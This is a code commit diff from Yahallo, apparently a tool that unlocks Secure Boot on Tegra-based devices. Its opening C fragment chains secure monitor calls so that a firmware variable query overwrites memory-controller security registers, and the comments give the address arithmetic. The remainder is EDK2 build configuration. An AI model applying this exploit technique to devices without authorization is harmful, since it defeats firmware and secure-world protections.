// Get size of the buffers needed (discarded)
61+
Ret = ArmCallSmcHelper(0x03, 0x09, 0, 0);
62+
Print(L"ArmCallSmcHelper: 0x%x\n", Ret);
63+
64+
// Switch secure world handlers to runtime mode
65+
Ret = ArmCallSmcHelper(0x03, 0x05, 0, 0);
66+
Print(L"ArmCallSmcHelper: 0x%x\n", Ret);
67+
68+
// Register a new shared memory buffer at 0x4000_0000 (IRAM) with size
69+
// 0x6001_e0e0. The following algorithm is used to determine the end address
70+
// that the QueryVariable call will write over:
71+
// response_area = (request_area + (area_slice >> 1));
72+
//
73+
// This is 0x6003_20e0 for Tegra114, which has a MC base of 0x7001_9000.
74+
Ret = ArmCallSmcHelper(0x03, 0x06, 0x40000000, 0x600320e0);
75+
Print(L"ArmCallSmcHelper: 0x%x\n", Ret);
76+
77+
// QueryVariable, does a 32 byte memory copy over to 0x7000f070...f090.
78+
// (MC_SECURITY_CFG0, MC_SECURITY_CFG1 and reserved registers)
79+
gBS->SetMem((VOID *)0x40000000, 32, 0);
80+
Ret = ArmCallSmcHelper(0x03, 0x03, 0, 0);
81+
Print(L"ArmCallSmcHelper: 0x%x\n", Ret);
82+
83+
// External fabric may have some read/write requests still to be processed,
84+
// let there be a barrier to make sure the registers are set properly
85+
ArmDataSynchronizationBarrier();
86+
ArmInstructionSynchronizationBarrier();
87+
}

‎TegraSecureBootUnlock/Yahallo.inf

+58
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,58 @@
1+
# Yahallo.inf: main application for Tegra Secure Boot unlocking
2+
# Copyright (c) 2019 - 2020, Bingxing Wang and other project authors. All rights reserved.<BR>
3+
4+
[Defines]
5+
INF_VERSION = 0x00010005
6+
BASE_NAME = Yahallo
7+
FILE_GUID = e59e2095-d00d-4fc1-85f3-5c0fc38b7d54
8+
# Note: this is not a real "UEFI Application", it uses a different
9+
# entry point. Let's see how it goes...
10+
MODULE_TYPE = UEFI_APPLICATION
11+
VERSION_STRING = 1.0
12+
ENTRY_POINT = TegraSecureBootUnlockEntryPoint
13+
14+
[Sources]
15+
App.c
16+
Cache.c
17+
Console.c
18+
Exploit.c
19+
MemUtility.c
20+
DeviceLut.c
21+
Smc.c
22+
23+
Include/Application.h
24+
25+
[Packages]
26+
ArmPkg/ArmPkg.dec
27+
ArmPlatformPkg/ArmPlatformPkg.dec
28+
MdePkg/MdePkg.dec
29+
MdeModulePkg/MdeModulePkg.dec
30+
YahalloPkg/YahalloPkg.dec
31+
32+
[LibraryClasses]
33+
WindowsBootApplicationEntryPoint
34+
ArmLib
35+
ArmSmcLib
36+
DevicePathLib
37+
BaseLib
38+
MemoryAllocationLib
39+
UefiLib
40+
UefiBootServicesTableLib
41+
UefiRuntimeServicesTableLib
42+
BaseMemoryLib
43+
DebugLib
44+
PrintLib
45+
46+
[BuildOptions.ARM]
47+
# Well, eventually this should be removed
48+
GCC:*_*_*_CC_FLAGS = -Wno-pointer-to-int-cast -Wno-int-to-pointer-cast -Wno-missing-braces
49+
# Instruct BaseTools to generate Windows Boor Application
50+
*_*_*_GENFW_FLAGS = --windows-boot-application --convert-output-machine-arm-to-thumb2
51+
52+
[Guids]
53+
gEfiGlobalVariableGuid ## CONSUMES
54+
gEfiSmbiosTableGuid ## CONSUMES
55+
56+
[Protocols]
57+
gEfiSimpleTextOutProtocolGuid ## CONSUMES
58+
gEfiDevicePathProtocolGuid ## CONSUMES

‎YahalloPkg.dec

+21
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
## @file YahalloPkg.dec
2+
# This Package provides required entry point dependencies for Windows Boot Application.
3+
#
4+
# Copyright (c) 2007 - 2020, Intel Corporation. All rights reserved.<BR>
5+
# Portions copyright (c) 2008 - 2009, Apple Inc. All rights reserved.<BR>
6+
# (C) Copyright 2016 - 2020 Hewlett Packard Enterprise Development LP<BR>
7+
# Copyright (c) 1996 - 2020, The ReactOS Project. All rights reserved.<BR>
8+
# Copyright (c) 2019 - 2020, Bingxing Wang and other project authors. All rights reserved.<BR>
9+
#
10+
# SPDX-License-Identifier: GPL-2.0-only
11+
#
12+
##
13+
14+
[Defines]
15+
DEC_SPECIFICATION = 0x00010005
16+
PACKAGE_NAME = YahalloPkg
17+
PACKAGE_GUID = c99eb7f6-2842-4b0d-ad7a-a104c8ac699c
18+
PACKAGE_VERSION = 1.00
19+
20+
[Includes.common]
21+
Include

‎YahalloPkg.dsc

+96
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,96 @@
1+
## @file YahalloPkg.dsc
2+
# This Package provides buildout config for the application.
3+
#
4+
# Copyright (c) 2007 - 2020, Intel Corporation. All rights reserved.<BR>
5+
# Portions copyright (c) 2008 - 2009, Apple Inc. All rights reserved.<BR>
6+
# (C) Copyright 2016 - 2020 Hewlett Packard Enterprise Development LP<BR>
7+
# Copyright (c) 1996 - 2020, The ReactOS Project. All rights reserved.<BR>
8+
# Copyright (c) 2019 - 2020, Bingxing Wang and other project authors. All rights reserved.<BR>
9+
#
10+
# SPDX-License-Identifier: GPL-2.0-only
11+
#
12+
##
13+
14+
[Defines]
15+
PLATFORM_NAME = YahalloPkg
16+
PLATFORM_GUID = 8905d433-2814-43a6-bfb1-671010122961
17+
PLATFORM_VERSION = 0.01
18+
DSC_SPECIFICATION = 0x00010006
19+
OUTPUT_DIRECTORY = Build/YahalloPkg
20+
SUPPORTED_ARCHITECTURES = ARM
21+
BUILD_TARGETS = DEBUG|RELEASE
22+
SKUID_IDENTIFIER = DEFAULT
23+
24+
[BuildOptions.common]
25+
GCC:*_*_ARM_CC_FLAGS = -O0
26+
GCC:*_*_ARM_DLINK_FLAGS = -O0
27+
28+
#
29+
# Debug output control
30+
#
31+
DEFINE DEBUG_ENABLE_OUTPUT = FALSE # Set to TRUE to enable debug output
32+
DEFINE DEBUG_PRINT_ERROR_LEVEL = 0x80000040 # Flags to control amount of debug output
33+
DEFINE DEBUG_PROPERTY_MASK = 0
34+
35+
[PcdsFeatureFlag]
36+
37+
[PcdsFixedAtBuild]
38+
gEfiMdePkgTokenSpaceGuid.PcdDebugPropertyMask|$(DEBUG_PROPERTY_MASK)
39+
gEfiMdePkgTokenSpaceGuid.PcdDebugPrintErrorLevel|$(DEBUG_PRINT_ERROR_LEVEL)
40+
41+
[LibraryClasses]
42+
#
43+
# Entry Point Libraries
44+
#
45+
UefiApplicationEntryPoint|MdePkg/Library/UefiApplicationEntryPoint/UefiApplicationEntryPoint.inf
46+
ShellCEntryLib|ShellPkg/Library/UefiShellCEntryLib/UefiShellCEntryLib.inf
47+
UefiDriverEntryPoint|MdePkg/Library/UefiDriverEntryPoint/UefiDriverEntryPoint.inf
48+
WindowsBootApplicationEntryPoint|YahalloPkg/Library/WindowsBootApplicationEntryPoint/WindowsBootApplicationEntryPoint.inf
49+
50+
#
51+
# Common Libraries
52+
#
53+
BaseLib|MdePkg/Library/BaseLib/BaseLib.inf
54+
# This needs to be faster
55+
BaseMemoryLib|MdePkg/Library/BaseMemoryLibOptDxe/BaseMemoryLibOptDxe.inf
56+
UefiLib|MdePkg/Library/UefiLib/UefiLib.inf
57+
PrintLib|MdePkg/Library/BasePrintLib/BasePrintLib.inf
58+
PcdLib|MdePkg/Library/BasePcdLibNull/BasePcdLibNull.inf
59+
MemoryAllocationLib|MdePkg/Library/UefiMemoryAllocationLib/UefiMemoryAllocationLib.inf
60+
UefiBootServicesTableLib|MdePkg/Library/UefiBootServicesTableLib/UefiBootServicesTableLib.inf
61+
UefiRuntimeServicesTableLib|MdePkg/Library/UefiRuntimeServicesTableLib/UefiRuntimeServicesTableLib.inf
62+
!if $(DEBUG_ENABLE_OUTPUT)
63+
DebugLib|MdePkg/Library/UefiDebugLibConOut/UefiDebugLibConOut.inf
64+
DebugPrintErrorLevelLib|MdePkg/Library/BaseDebugPrintErrorLevelLib/BaseDebugPrintErrorLevelLib.inf
65+
!else ## DEBUG_ENABLE_OUTPUT
66+
DebugLib|MdePkg/Library/BaseDebugLibNull/BaseDebugLibNull.inf
67+
!endif ## DEBUG_ENABLE_OUTPUT
68+
69+
DevicePathLib|MdePkg/Library/UefiDevicePathLib/UefiDevicePathLib.inf
70+
PeCoffGetEntryPointLib|MdePkg/Library/BasePeCoffGetEntryPointLib/BasePeCoffGetEntryPointLib.inf
71+
IoLib|MdePkg/Library/BaseIoLibIntrinsic/BaseIoLibIntrinsic.inf
72+
PciLib|MdePkg/Library/BasePciLibCf8/BasePciLibCf8.inf
73+
PciCf8Lib|MdePkg/Library/BasePciCf8Lib/BasePciCf8Lib.inf
74+
SynchronizationLib|MdePkg/Library/BaseSynchronizationLib/BaseSynchronizationLib.inf
75+
UefiRuntimeLib|MdePkg/Library/UefiRuntimeLib/UefiRuntimeLib.inf
76+
HiiLib|MdeModulePkg/Library/UefiHiiLib/UefiHiiLib.inf
77+
UefiHiiServicesLib|MdeModulePkg/Library/UefiHiiServicesLib/UefiHiiServicesLib.inf
78+
PerformanceLib|MdeModulePkg/Library/DxePerformanceLib/DxePerformanceLib.inf
79+
HobLib|MdePkg/Library/DxeHobLib/DxeHobLib.inf
80+
FileHandleLib|MdePkg/Library/UefiFileHandleLib/UefiFileHandleLib.inf
81+
SortLib|MdeModulePkg/Library/UefiSortLib/UefiSortLib.inf
82+
ShellLib|ShellPkg/Library/UefiShellLib/UefiShellLib.inf
83+
CacheMaintenanceLib|MdePkg/Library/BaseCacheMaintenanceLib/BaseCacheMaintenanceLib.inf
84+
NULL|MdePkg/Library/BaseStackCheckLib/BaseStackCheckLib.inf
85+
86+
#
87+
# ARM specific Libraries
88+
#
89+
ArmLib|ArmPkg/Library/ArmLib/ArmBaseLib.inf
90+
ArmSmcLib|ArmPkg/Library/ArmSmcLib/ArmSmcLib.inf
91+
CompilerIntrinsicsLib|ArmPkg/Library/CompilerIntrinsicsLib/CompilerIntrinsicsLib.inf
92+
NULL|ArmPkg/Library/CompilerIntrinsicsLib/CompilerIntrinsicsLib.inf
93+
94+
[Components]
95+
YahalloPkg/TegraSecureBootUnlock/Yahallo.inf
96+

0 commit comments

Comments
 (0)
Please sign in to comment.